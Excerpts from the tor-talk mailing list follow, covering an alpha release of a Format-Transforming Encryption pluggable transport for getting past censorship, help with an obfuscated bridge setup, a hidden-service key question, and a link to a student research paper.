local bridge?

Thanks!
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[tor-talk] Format-Transforming Encryption Pluggable Transport

[Kevin P Dyer]

We invite users to test our Tor bundles, which includes a pluggable
transport based on something we call Format-Transforming Encryption
(FTE). We believe FTE has potential to be a valuable tool to evade the
suspected protocol white-listing [4] recently reported in Iran. Tor
Bundles are available that include our FTE software and are configured
by default to work with FTE+Tor bridges deployed in the United States.
These bundles [1] and their source [2] are available on github for
OSX/Linux. Unfortunately we don't, yet, support Windows.

If you're interested in a technical discussion about FTE and how it
works, please read our paper [3] or join us over at tor-dev [5].

We're optimistic FTE has long-term potential as a tool to enable users
to control how their traffic is classified by passive DPI systems. As
one example, over the last month, we've successful tunneled Tor
through the Great Firewall of China using FTE to make our traffic
look like HTTP.

We're eager for feedback on this alpha release, so please do not
hesitate to contact us with questions.

-Kevin P Dyer (and his co-authors)

[1] https://github.com/redjack/FTE/tree/master/TorBundles
[2] https://github.com/redjack/FTE
[3] http://eprint.iacr.org/2012/494
[4] https://lists.torproject.org/pipermail/tor-dev/2013-May/004787.html
[5] https://lists.torproject.org/pipermail/tor-dev/2013-June/004999.html
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Re: [tor-talk] Obfuscated Tor bridge

[Kevin Brubeck Unhammer]

Anne Magarey anne...@adam.com.au writes:

 Unfortunately that did not work for me. Thank you for your help.

Could you have several versions of tor installed? 

 On 14/02/12 19:42, Andy Dixon wrote:
 On 14/02/12 09:04, Anne Magarey wrote:
 Feb 14 19:11:38.039 [notice] Tor v0.2.2.35 (git-73ff13ab3cc9570d).

Does it still say Tor v0.2.2.35?




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[tor-talk] A question about Tor Hidden Services

[Kevin H. E.]

Hello all,
I am wondering if it is possible to pass the hostname  private key on a
hidden service directly to the control socket, without writing it to the
hard drive (and without passing it to the process as a startup argument).
Thanks!
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[tor-talk] student project entry point distribution in overlay networks useful for Tor

[Kevin . deKok]

Hi *,

Last year we (student group) did a research project called entry point
distribution in overlay networks. The information in the paper might be
useful in combination with Tor. The paper is available here:

http://pimpmyshell.org/entry_point_distribution_overlay_networks.pdf

regards,

Kevin.


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